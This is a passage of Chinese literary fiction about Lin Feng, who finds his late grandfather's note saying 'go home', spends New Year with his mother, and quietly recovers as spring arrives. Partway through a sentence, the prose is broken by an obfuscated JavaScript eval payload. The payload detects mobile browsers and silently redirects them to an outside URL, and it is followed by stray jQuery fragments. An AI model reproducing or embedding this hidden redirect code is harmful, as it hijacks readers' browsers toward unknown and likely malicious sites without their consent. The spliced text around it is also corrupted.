十二月底，林峰收到了母亲寄来的第二样东西。不是年货，不是腊肉，不是任何吃的东西，是一张红纸。纸是正方形的，对折过，边角有些皱，像被攥在手里很久。打开来，里面是爷爷的字，毛笔写的，墨迹已经有些褪了，但还能辨认。只有两个字：“回家。”
林峰看着那两个字，看了很久。他不知道爷爷是什么时候写的，也不知道母亲是什么时候发现的。也许是在整理老宅的时候，也许是在那个木箱子里，也许是在某本旧书的夹页里。这两个字没有任何解释，没有抬头，没有落款。只是“回家”，写在红纸上，像一个已经走了很久的人，在某个他不知道的地方，写下了一张便条，托人带给他。
他把那张红纸放在茶几上，和那个玻璃瓶放在一起。红纸，金黄色的桂花，军绿色的外套，黑色的笔记本，白色的信纸。这些东西放在一起，像一幅拼贴画，每一个碎片都来自不同的时间，不同的地方，但它们在这个茶几上，在这个出租屋里，在这个冬天的傍晚，被摆在一起，组成了一个完整的东西。他不知道那是什么，但他知道那是他的。是他活过的证据。
元旦那天，林峰回了县城。母亲包的饺子，白菜猪肉馅的，煮了两盘，一盘给林峰，一盘给姐姐一家。外甥又长了一岁，已经是一年级的小学生了。他学会了拼音，学会了写自己的名字，学会了用筷子。他坐在林峰旁边，夹饺子的时候手还有些抖，但已经不会把饺子掉在桌上了。他得意地夹了一个，蘸了醋，塞进嘴里，含混不清地说：“舅舅，我会用筷子了！”林峰说：“看到了，很厉害。”外甥说：“等我长大了，我教你用筷子。”林峰说：“我会用筷子。”外甥说：“那你教我。”两个人对视了一眼，都笑了。
吃完饭，林峰和母亲坐在沙发上，看电视。电视里在播新年晚会，主持人穿着闪亮的衣服，说着祝福的话。母亲看得很认真，林峰也看得很认真。两个人谁也没有说话，但谁也没有觉得尴尬。就是坐着，看着电视，听着窗外的鞭炮声，在这个普通的新年夜里。
十一点多，林峰说该走了。母亲说住一晚吧。林峰说好。他睡在母亲给他铺好的床上，床单是新换的，被子是新晒过的，有一股阳光的味道。他躺在那张床上，听着窗外的鞭炮声从密集变得稀疏，从响亮变得遥远。他在那个声音中睡着了。
他梦到了那张红纸。在梦里，红纸不是放在茶几上的，而是拿在他手里的。他拿着它，站在一条路上。路很长，两边是田野，麦苗绿了，油菜花黄了，是春天的颜色。他不知道这条路通向哪里，但他知道他在走。他走了很久，久到太阳从东边移到了西边，影子从西边移到了东边。路的尽头出现了一棵树，是他不认识的一棵树，很高，很大，树冠像一把绿色的伞。树下站着一个人，穿着白衬衫，看着他，没有招手，没有喊他的名字，只是站在那里，等他走过去。他走过去了。他走到了那棵树下。那个人是爷爷。
“回家。”爷爷说。
“回哪里？”林峰问。
“回你该回的地方。”
林峰想了想。“我该回的地方在哪里？”
爷爷笑了一下。“你不是已经在走了吗？”
他醒了。天已经亮了。阳光从窗帘的缝隙里钻进来，在床单上画出一条细细的金线。他躺了一会儿，看着那条金线，然后坐起来，穿上拖鞋，去卫生间洗漱。镜子里的人看起来和昨天一样，又不一样。不是外表变了，是眼神变了。他说不上来是什么变化，但他知道他在镜子里的那个自己，比一年前的自己更安静了。
他刷牙，洗脸，刮胡子。然后他换上了那件军绿色外套。外套还是有点短，但他不在乎了。他穿上它，走出了房间。母亲已经在厨房里了，锅里煮着粥，咕嘟咕嘟地冒着泡。她回头看了他一眼，看见他穿着那件外套，顿了一下，但什么也没有说。她只是把粥盛进碗里，放在桌上，说：“趁热吃。”
林峰坐下来，喝粥。粥是白粥，配咸菜和酱豆腐。简单，温暖。他喝了一碗，又喝了一碗。然后他站起来，把碗洗了，擦干，放回碗架上。他站在厨房门口，看着母亲的背影。阳光从窗户照进来，落在她花白的头发上，落在她微微佝偻的背上。他看了一会儿，说：“妈，我走了。”母亲没有回头。她说：“路上慢点。”林峰说：“好。”
他出了门，下了楼，坐进车里。阳光从挡风玻璃照进来，照在他的手上。他握着方向盘，没有立刻开走。他看着前方，看着那条通向城里的路。路是灰白色的，在午后的阳光下泛着淡淡的光。路的两边是田野，冬日的田野光秃秃的，灰褐色的，像一张被翻过来的旧床单。但远处的天际线上，有一片绿色的影子，是麦苗在土地下面等待着春天。他看了很久，然后挂上挡，驶上了回城的路。
二月四日，立春。不是真正意义上的春天，只是一个节气，一种说法。但林峰出门的时候，感觉风真的不一样了。冬天的风是硬的，刮在脸上像刀片。而今天早上的风是软的，凉凉的，但不再刺骨了。他站在单元门口，感受了一下那阵风，觉得它像一条解冻的河流，终于开始流动了。他上了车，发动引擎，驶上了去公司的路。阳光照在挡风玻璃上，比冬天更亮了一些。他开了收音机，里面在播一首老歌，他跟着哼了几句。
到了公司，他停好车，坐电梯上了楼。前台的小姑娘跟他打招呼：“林哥，早。”他说：“早。”走进办公区，已经有几个同事到了，在座位上吃早餐、看邮件、小声聊天。他坐到自己的工位上，打开电脑，开始处理工作。邮件，方案，会议纪要，客户反馈。一切如常。
中午，他和同事一起在楼下的小馆子吃饭。他点了一碗牛肉面，同事点了一碗酸辣粉。等面上来的时候，同事说：“你最近气色好多了。”林峰说：“可能是春天要来了。”同事笑了：“立春了，万物复苏。”林峰也笑了：“对，万物复苏。”面上来了。他低头吃面，牛肉汤的香味混着香菜和辣椒油的味道，热腾腾的蒸汽扑在脸上。他吃得很慢，每一口都嚼很久。
下午的时候，林峰接到了一个电话。是王叔女儿打来的。“我梦见我爸了。”她说。“他穿了一件白衬衫，站在一棵树下面。那棵树我不认识，不是老槐树。他站在那里，看着我，没有说话。但他笑了一下。不是那种他拍照时候的笑，是那种……真正的笑。我从来没见过他那样笑。我不知道是为什么，但我觉得他是在告诉我，他好了。”林峰握着手机，听她说完。然后他说：“他好了。”她说：“你觉得他是真的好了吗？”林峰说：“我觉得他是真的好了。”她沉默了几秒，说：“谢谢。”林峰说：“不用谢。”
他们挂了电话。林峰把手机放在桌上，看着屏幕暗下去。他在想王叔穿着白衬衫站在树下的样子。他不知道那棵树是什么树，但他想象着那棵树在春天的阳光里，长满了新叶子。王叔站在那里，没有影子。或者他有影子，但影子不再是一口井的形状了。只是一个普通的、人的影子。他站在树下，笑了一下。不是嘴角只牵动一下的那种笑，是真正的、完整的、像一个人终于放下了所有重量的笑。
林峰坐在工位上，看着窗外。天很蓝，云很白，阳光很好。立春了。冬天过去了。他活着。
晚上，林峰回到出租屋。他换了鞋，走到窗边。绿萝在春天快要到来的时候，长出了两片新叶子。嫩绿色的，卷曲着，像两只还没有张开的小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645265|206661||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手。他给它们浇了水，用湿布擦了擦叶片上的灰。然后他洗了手，倒了杯水，坐到沙发上。
茶几上放着那个玻璃瓶。里面的干桂花已经快用完了，只剩下薄薄一层。他拧开盖子，把最后一点桂花倒进杯子里，冲上热水。桂花的香气飘起来，淡淡的，甜甜的。他端着那杯茶，站在窗前，看着城市的夜景。万家灯火，像一片倒扣在地上的星空。他穿着那件军绿色外套，站在窗前，喝着一杯桂花茶。外面很冷，但屋里很暖。春天要来了。他想起了那张红纸上的两个字：“回家。”他不知道家在哪里。也许家不是一个地方，而是一种感觉。是穿着这件外套时的感觉，是喝这杯桂花茶时的感觉，是站在这个窗前看着万家灯火时的感觉。也许他已经在家里了。
他放下茶杯，关了灯，躺到床上。窗外的城市噪音在深夜变得模糊而遥远。他闭上眼睛，感觉到睡意像一条温暖的河流，慢慢地漫上来。他没有抵抗，让那条河把他带走。他梦到了春天。不是某一个春天的具体画面，而是一种感觉。是草从土里钻出来的声音，是树枝上第一颗芽苞裂开时的声音，是冰雪消融时水流的声音。他在那种声音中沉浮着，不上不下，不冷不热，像一个泡在温水里的人。他知道他在梦里。他不想醒。他愿意在那个梦里多待一会儿。
但他还是醒了。天亮了。阳光从窗帘的缝隙里钻进来，在床单上画出一条细细的金线。他躺了一会儿，看着那条金线慢慢地变宽、变亮。然后他坐起来，穿上拖鞋，去卫生间洗漱。镜子里的人看起来平静而安稳。他刷牙，洗脸，刮胡子，换衣服。白衬衫，深色裤子，那件军绿色外套。他拿起手机和钥匙，出了门。楼道里的灯是声控的，他跺了一下脚，灯亮了。他走下楼梯，推开单元门，外面的空气清冽而新鲜，春天的风是软的，吹在脸上，凉凉的，但不刺骨了。阳光很好，天很蓝，云很白。他发动车子，驶上了去公司的路。
红灯，他停下来。旁边是一辆公交车，车窗里坐满了人，有学生，有老人，有上班族。他们都看着前方，都在等绿灯。林峰看着他们，心里很安静。绿灯亮了。他踩下油门，汇入了车流。他开着车，在车流中，在阳光里，在这个正在苏醒的城市里。他活着，普通地活着，像每一个在早晨开车上班的人一样。没有人知道他的口袋里曾经有一截小小的指骨，没有人知道他穿过一件军绿色外套，没有人知道他的梦里有春天。他们不需要知道。他只是他们中的一个，一个普通人，在一个春天的早晨，开车去一个普通的工作单位。
他到了公司楼下，停好车，坐电梯上了楼。前台的小姑娘跟他打招呼：“林哥，早。”他说：“早。”走进办公区，已经有几个同事到了，在座位上吃早餐、看邮件、小声聊天。他坐到自己的工位上，打开电脑，开始处理工作。邮件，方案，会议纪要，客户反馈。他的手指在键盘上飞快地敲击，打出一行行字，然后删掉，重新打。他的眼睛盯着屏幕，眉头微微皱着。阳光从窗户照进来，落在他面前的键盘上，落在他握着鼠标的手上。他翻过右手，看了一眼掌心。掌心的纹路是普通的、正常的、所有人都有的人纹。没有印记，没有疤痕，没有任何异常。他的手是一只普通的、健康的、属于一个年轻人的手。
他把它放回键盘上，继续工作。窗外，春天正在慢慢地到来。草在发芽，树在抽枝，风在变暖。世界在流动，日子在继续。林峰坐在那里，坐在他的工位上，坐在这个普通的工作日里。他是无数人中的一个。但他是他自己。他知道他是谁。他知道他从哪里来。他知道他要往哪里去。也许他不知道具体的路线，不知道目的地长什么样，不知道路上会遇到什么。但他知道他在走。走本身，就是方向。